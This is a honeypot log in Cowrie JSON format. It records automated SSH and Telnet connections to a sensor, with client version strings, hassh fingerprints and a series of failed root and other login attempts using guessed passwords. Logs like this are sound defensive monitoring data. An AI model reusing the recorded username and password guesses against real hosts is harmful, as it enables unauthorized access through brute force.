{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:31.328283Z","src_ip":"89.223.127.55","session":"0db8e8ab0119","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:31.447532Z","src_ip":"89.223.127.55","session":"0db8e8ab0119","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:31.810561Z","src_ip":"89.223.127.55","session":"0db8e8ab0119","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:32.933417Z","src_ip":"89.223.127.55","session":"0db8e8ab0119","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":57946,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91ae11e3595","protocol":"ssh","message":"New connection: 103.27.238.120:57946 (159.203.135.109:22) [session: c91ae11e3595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:37.092676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:37.097867Z","src_ip":"103.27.238.120","session":"c91ae11e3595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:37.393729Z","src_ip":"103.27.238.120","session":"c91ae11e3595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20072007","message":"login attempt [root/20072007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:38.231465Z","src_ip":"103.27.238.120","session":"c91ae11e3595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:39.510069Z","src_ip":"103.27.238.120","session":"c91ae11e3595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":51648,"dst_ip":"159.203.135.109","dst_port":23,"session":"48f01fdabced","protocol":"telnet","message":"New connection: 213.108.3.46:51648 (159.203.135.109:23) [session: 48f01fdabced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:52.847983Z"}
{"eventid":"cowrie.session.closed","duration":0.016790390014648438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:07:52.864635Z","src_ip":"213.108.3.46","session":"48f01fdabced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":53446,"dst_ip":"10.17.0.5","dst_port":22,"session":"32fb6faa0ae9","protocol":"ssh","message":"New connection: 43.128.102.61:53446 (10.17.0.5:22) [session: 32fb6faa0ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:01.738368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:01.744479Z","src_ip":"43.128.102.61","session":"32fb6faa0ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:01.997839Z","src_ip":"43.128.102.61","session":"32fb6faa0ae9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"save123","message":"login attempt [root/save123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:03.016403Z","src_ip":"43.128.102.61","session":"32fb6faa0ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59582,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5c181147a8","protocol":"ssh","message":"New connection: 2.57.122.238:59582 (10.17.0.5:22) [session: 0a5c181147a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:03.433820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:03.443363Z","src_ip":"2.57.122.238","session":"0a5c181147a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:03.549094Z","src_ip":"2.57.122.238","session":"0a5c181147a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:03.865998Z","src_ip":"2.57.122.238","session":"0a5c181147a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:04.266615Z","src_ip":"43.128.102.61","session":"32fb6faa0ae9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:04.974090Z","src_ip":"2.57.122.238","session":"0a5c181147a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":48258,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c6a0a2a9fc","protocol":"ssh","message":"New connection: 193.228.128.84:48258 (10.17.0.5:22) [session: 69c6a0a2a9fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:07.893382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:07.898872Z","src_ip":"193.228.128.84","session":"69c6a0a2a9fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:08.002884Z","src_ip":"193.228.128.84","session":"69c6a0a2a9fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:08.309342Z","src_ip":"193.228.128.84","session":"69c6a0a2a9fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:09.415690Z","src_ip":"193.228.128.84","session":"69c6a0a2a9fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42828,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e8c20e81d33","protocol":"ssh","message":"New connection: 185.236.22.41:42828 (10.17.0.5:22) [session: 4e8c20e81d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:25.506242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:25.513632Z","src_ip":"185.236.22.41","session":"4e8c20e81d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:25.623771Z","src_ip":"185.236.22.41","session":"4e8c20e81d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:25.961541Z","src_ip":"185.236.22.41","session":"4e8c20e81d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:27.075927Z","src_ip":"185.236.22.41","session":"4e8c20e81d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":39860,"dst_ip":"10.17.0.5","dst_port":22,"session":"c559fa0e1614","protocol":"ssh","message":"New connection: 181.188.176.245:39860 (10.17.0.5:22) [session: c559fa0e1614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:46.233899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:46.238376Z","src_ip":"181.188.176.245","session":"c559fa0e1614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:46.405562Z","src_ip":"181.188.176.245","session":"c559fa0e1614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:47.106540Z","src_ip":"181.188.176.245","session":"c559fa0e1614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:48.277960Z","src_ip":"181.188.176.245","session":"c559fa0e1614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":51126,"dst_ip":"10.17.0.5","dst_port":22,"session":"923fd111f159","protocol":"ssh","message":"New connection: 103.183.114.55:51126 (10.17.0.5:22) [session: 923fd111f159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:53.704581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:53.710073Z","src_ip":"103.183.114.55","session":"923fd111f159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:53.938146Z","src_ip":"103.183.114.55","session":"923fd111f159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alisa","message":"login attempt [root/alisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:54.605549Z","src_ip":"103.183.114.55","session":"923fd111f159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:55.830196Z","src_ip":"103.183.114.55","session":"923fd111f159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":47376,"dst_ip":"10.17.0.5","dst_port":22,"session":"c53366fddcba","protocol":"ssh","message":"New connection: 147.45.197.250:47376 (10.17.0.5:22) [session: c53366fddcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:56.968861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:56.974025Z","src_ip":"147.45.197.250","session":"c53366fddcba","protocol":"ssh"}
